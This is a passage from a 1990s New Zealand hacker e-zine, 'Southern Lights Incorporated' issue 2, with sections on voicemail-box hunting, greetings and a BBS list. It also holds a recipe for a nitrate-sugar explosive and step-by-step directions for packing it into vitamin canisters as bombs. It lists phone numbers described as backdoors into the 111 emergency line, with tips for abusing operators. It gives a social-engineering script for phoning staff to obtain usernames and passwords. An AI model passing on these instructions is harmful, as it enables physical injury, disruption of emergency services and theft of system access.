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im not in at the momnet but if you want to leave me a msg please do so"
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This is usually enuff to convince a credit checker its you.
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To find VMB's, try your yellow(or white) pages under:
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Laboratories
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Computers
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Govt Deps.
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Schools (institute of higher learning)
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Medical Centres
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The NZQA (New Zealand Qualifications Authority) (try 802-3000)
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Even some plumbers have them, you should find about 1 VMB every 5 or so
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places you ring, BTW dont ring before 5:30 on weekdays, unless you want
|
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to tone your social engineerings skills! :-)
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Ok, because most VMB's look sound exactly like answering machines, the
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easiest way to distinguish them is bye hitting either #, * or sometimes
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1, if its a VMB it will respond with somethig.
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Bookz 2 Read EON ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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yeah umm books to read
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TBBOM !!!
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anything by GREG BEAR
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anything by TIMOTHY ZAHN
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anything with the word HACKER in it
|
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2600 - It's kinda stale readin', but good for the beginner H/P'er - Sorry
|
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you guys at 2600!
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Aunty Cyntax's Nutty Cyntaxera ŽŸŸŸŸ�
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„ Notes „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Okay, so I basically begged for this column, but well, WAW...
|
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(Women Always Win *grin*) ... only kiddin'.. well, maybe a little -
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the bit about me beggin' for the column.. *wink*
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Well, it's been a little while since this mag's been back in action,
|
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but we'll we're all back and it's been an entire year since you've all
|
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seen the name of SLi in the magazine world recently. Didn't quite realise
|
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it, but we just figured out t'day that the day the SLi mag was released,
|
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was October the 31st, otherwise known as HALLOWEEN. We thought that it
|
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would be appropriate to release it the same day just to be, uh, eleet k-rad
|
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hacker dudes... *grin* Nah, seriously, seeming that it had been an entire
|
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year since the last issue was released, we thought we'd release this one
|
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at the same time just for the hell of it.. ;)
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Anyway, I thought I'd say a big 'hi' out to all you lot out there to
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a) be nice and friendly *grin* and b) check if you're all still livin' and
|
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haven't been busted or tracked down and "taken" by the ss, cops and/or
|
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military (note the lack of capitals... they don't deserve 'em.. ;) )...
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Greets go out to... *ahem* Juliet (SoP! ;) ), LadyAda, Leigh, Shatter,
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Slacker, BooYaa, Utah Saint, Freiheit, Noise, Zaphod, SCoJaCK, Motley, Eck,
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Snidely, DrMenace, Quattro, Mindscrew, Pyr0t3ch, Lestat, T00ph, Elastic,
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Radikahl, D-FENS, Hypnosis, MrPurple (or CSativa or whatever name you're
|
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known by now *grin* ), Baccahbar, DTangent, hotrod, Solctice, Zibby (where
|
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the hell are you?! =) ), Speed_Rcr, GAnarchy, PurpCon, UNiQUe (What's your
|
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new info? Did you get taken by aliens or summink? ;) ), ChezeHead, Niaht,
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GreYLocK, Neophyte, Paradox, Gen-X, SSerpent, Serpent, Tega, Grasshopr,
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Schizo, Thorium, Smrf..
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That's the list of ppl I've got info for, so if I've missed ya off the list,
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then gimme y'info! *grin* ;)
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Soooo, any gossip, just e-mail me - TELCO_T@ix.wcc.govt.nz - and I'll
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tell everyone readin' about it.. or, well, if you attatch summink like:
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"---- Don't print this bit" etc.. then I'll make sure that it isn't
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printed.. =) .. you can trust me.. *smirk* Nah, really.. "I won't tell"
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-- quote from "Freddy's Dead". *evil laughter*
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'Till the next issue (hopefully sooooooooon.. =) )..
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Aunty CyntaxEra. ;)
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø 111 Numbers *UNKNOWN* ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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The following is a list of 111 (THE NZ EMERGENCY NUMBER) Cellular Accept-
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ance Points. This means, when you call these numbers, you are really cal-
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ling 111. Have fun! Oh, PS: The '010' operators don't know it's a 111
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backdoor so try calling them COLLECT, or maybe try 3rd party billing.
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Whatever you do, have fun and watch out. I expect these numbers MAY have
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ANI, but it's still a 50:50 chance. Oh, you dont need to call them with a
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cell fone.
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NB: I expect these numbers to change VERY fast.
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------------->8---------------------------------------------------------
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Fire | Pol | Amb | Loc | #
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-------+-------------+-----------+--------------+----------------------
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Auck Auck Auck Auck 07-832-5000
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Whan Whan Whan Whan ""-"""-5100
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""-"""-5200
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Hami Hami Auck Coro ""-"""-5300
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""-"""-5400
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""-"""-5500
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""-"""-5600
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""-"""-5700
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""-"""-5800
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""-"""-5990
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Hami Hami Hami Hami ""-"""-6000
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""-"""-6100
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""-"""-6200
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Hami Roto Hami Roto ""-"""-6300
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Hami Wang Wang Taum ""-"""-6400
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"""" Taup Hami Taup ""-"""-6500
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"""" Taur """" Taur ""-"""-6600
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"""" Toko """" Toko ""-"""-6700
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"""" Taur Whak Whak ""-"""-6800
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""-"""-6900
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PMnt PMnt PMnt PMnt ""-"""-7000
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""-"""-7100
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PMnt Gisb Gisb Gisb ""-"""-7200
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"""" Levi Levi Levi ""-"""-7300
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Wgtn Mast Mast Mast ""-"""-7400
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Napi Napi Napi Napi ""-"""-7500
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"""" Gisb TPSp Ruat ""-"""-7600
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Wang Wang Wang Taih ""-"""-7700
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"""" """" """" Wang ""-"""-7800
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NewP NewP NewP NewP ""-"""-7900
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Wgtn Wgtn Wgtn Wgtn ""-"""-8000
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Wang Wang PMnt Mart ""-"""-8100
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""-"""-8200
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""-"""-8300
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""-"""-8400
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""-"""-8500
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""-"""-8600
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""-"""-8700
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""-"""-8800
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""-"""-8900
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ChCh ChCh ChCh ChCh ""-"""-9000
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"""" Tima Tima Tima ""-"""-9100
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Dune Dune Dune Dune ""-"""-9200
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"""" Inve Inve Inve ""-"""-9300
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ChCh Nels Nels Nels ""-"""-9400
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"""" Blen Blen Blen ""-"""-9500
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"""" Grey Grey Grey ""-"""-9600
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"""" """" Hoki Hoki ""-"""-9700
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"""" """" WstP WstP ""-"""-9800
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"""" Blen ChCh Kaik ""-"""-9900
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------------->8---------------------------------------------------------
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ABBREVIATIONS: [Cyntax: Those which aren't listed - you can figure 'em out
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out yourself]
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Auck: Auckland ChCh: Christchurch Dune: Dunedin Tima: Timaru
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Inve: Invercargil Nels: Nelson Blen: Blenhim Grey: Greymouth
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Hoki: Hokitika WesP: Westport Kaik: Kaikoura Gisb: Gisbourne
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Wgtn: Wellington PMnt: Palmerston Nth Wang: Wanganui Toko: Tokoroa
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Levi: Levin Mart: Martinborough Napi: Napier Taih: Taihape
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Mast: Masterton Taur: Tauranga Roto: Rotorua Whan: Whangarei
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Hami: Hamilton
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[Eon: Wow bet the cops go nutty over this one]
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Sweet Powder Thorium ŽŸŸŸŸ�
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„ „
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A good SIMPLE BUT EFFECTIVE Explosive:
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I use this recipe for most of my bombs:
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1 Part Potassium Nitrate (Salt Peter, Nitrate of Potash)
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1 Part Icing Sugar
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By volume. Shake to mix and away you go.
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The Pot Nitrate is the oxidant, the carbon in the sugar burns, and
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the fact that the sugar caramelizes and keeps in the heat replaces
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the sulphur in normal gunpowder. The Pot Nitrate may have to be
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dryed in the oven (At around 75 degrees C, no higher!), and so may
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the icing sugar (less than 150 degrees).
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This stuff is excellent for making "Redoxon Bombs", rockets,
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moarters, in fact all your anarchist needs...
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ŽŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸø
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Hackin' Eon ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Here is a tried and true method of gaining access to a system
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1: Find the System you wish to hack
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Either by knowing the number of the system or by scanning for
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it. By scanning, I mean a program such as "Toneloc" that dials
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XXX-XXX1 then XXX-XXX2 etc... it searches for a CARRIER, and if
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it finds one it logs it.
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2: Trash the comp that runs the system
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Look for stuff, like printouts etc., that may give you an idea
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of what/how there system runs. Also look for any company
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security names on the pices of paper you trash out. Also, look
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for any information that can explain to you the inner workings
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of the company.
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3: Call the company VOICE
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See if you can Social Engineer a user name and password out of
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the secretary ie.
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You: "Yeah, hi. This is Mike from control. Are you having
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problems with your computer terminal?"
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Them: "No"
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You: "Hmm, that's strange. We're having a few down here. Just a
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moment. What's your username?"
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Them: "Oh, it's 'C_Tp'."
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You: "Yeah, there's a big error. Umm, we don't even have you as being
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logged into the system. Ummm, hmm, okay, I'll try logging in
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as you."
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[Scrambling around making lots of noise]
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You: "So, the username's 'C_Tp'?"
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Them: "Yes."
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You: "Yep. It's a valid user alright. Umm, your password please?"
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Them: "TDGA"
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You: "Yeah. Umm, it checks out I'm loggin in. Humm, oh, here we go.
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Oh, you didn't correctly logout lastime. Okay, I think it
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should work now. Sorry for wasting your time .."
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Guess what you just got? THIS WORKS and it works well. Why not give it
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a go?
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ŽŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸø
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„ Southern Lights Incorporated Mag ISSUE 2 „
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¿ŸŸŸŸø Redox Bombs Thorium ŽŸŸŸŸ�
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Redoxons are a type of vitamin available from the chemist. They make
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Vitamin A, C and D I think, all effervescent, as well as Berrocca...
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Anyway, it's these containers that are good - let all the
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hyperchondriacs in your flat or house eat/drink them, and keep the
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canisters...
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They are an aluminium tube, sealed at one end, and with a plastic
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seal top. They hold about 50 ml. If your bomb needs a wick to start
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it, as gunpowder does, put a hole in about half way up the canister.
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This will also stop the cap coming off due to expansion of air
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during the glue setting.
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Take one of these and using gunpowder or other explosive material
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fill them to just under the top, then shake them down. Clear the
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excess powder away from the top using your finger or a clean rag,
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depending on the nastiness of your explosive, then glue the top on
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with superglue or araldyte.
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Place sticky tape over the hole if you have one, then leave to dry
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for 24 hrs.
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Remove tape, put in wick, light, BANG.
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ŽŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸø
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„ Southern Lights Incorporated Mag ISSUE 2 „
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„ „
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¿ŸŸŸŸø Editaz Knotez EON ŽŸŸŸŸ�
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„ „
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¿ŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸŸ�
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Ever noticed the way when u feel down the world attacks you??
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ALL PC <386 +> OWNERS: GIVE UP DOS! Run LINUX!!!! UNIX is the BEST!!!
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DOS is LAME!!!!
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humm ok well anyways!!!
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A few quotez:
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"Truth is free, but information costs."
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"The world is run by 1's and 0's!!!"
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"Fuck the police, fuck the FBI, the CIA and all the rest!!!"
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"We are the children of a new age. The age of the chip, and the
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modem. The age of COMMUNICATION!!!!"
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Well, humm, guess thats the end of yet another SLi mag!!
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Ahhhh, FUCK, umm, just to keep ourselvz outta shit:
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"All product names are TradeMarks of their respective companies."
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"The views expressed in this mag are not neccessarily those of the editors
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or of any member of the SLi group or of any system operator who carries
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this mag!"
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"The members / supporters of SLi at no time take responsibility for the
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actions of anyone / anything (being politically correct) resulting
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directly or indirectly from this mag and its contents"
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"The editor is unable to release any INFORMATION on SLi members or any
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person that is in anyway connected with SLi"
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Oh yeah, this is a small bbs list. They're pretty ok bbs's and outa the
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80 in Wellington NZ they're some of the only decent ones.
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Bad Sector BBS ............................. +64-4-479-1641 <HPA>
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The Video Drome ............................ +64-4-388-5410 <Non HPA>
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Wizards Lair ............................... +64-4-233-8538 " " " " "
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" " " " " " ............................... +64-4-233-9135 " " " " "
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Oh, we have a mailing address if u want any articles in the next issue
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or just have any comments please mail them too. PS, any $DONATIONS$
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to get SLi BBS back up would be real cool :) <me dreaming>
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Please send articles on 720-1.44 meg IBM, or Amiga, formatted disks.
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Enclose a stamped, self addressed envelope if you want the disk back.
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SLi
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Box 3030
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Onekawa
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Hawkes Bay
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New Zealand
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A few last words:
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FUCK LIFE IS AWSOME !!!!
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FUCK COPS ARE LAME
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FUCK WE ARE THE NEW GENERATION
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FUCK !!!!!!!!!!!!!!
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[Cyntax: I think he swears too much, but oh well.. *grin*]
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May we all live in a world free
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From war and death.
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Let us become one people,
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One flag, one world. -- Eon.
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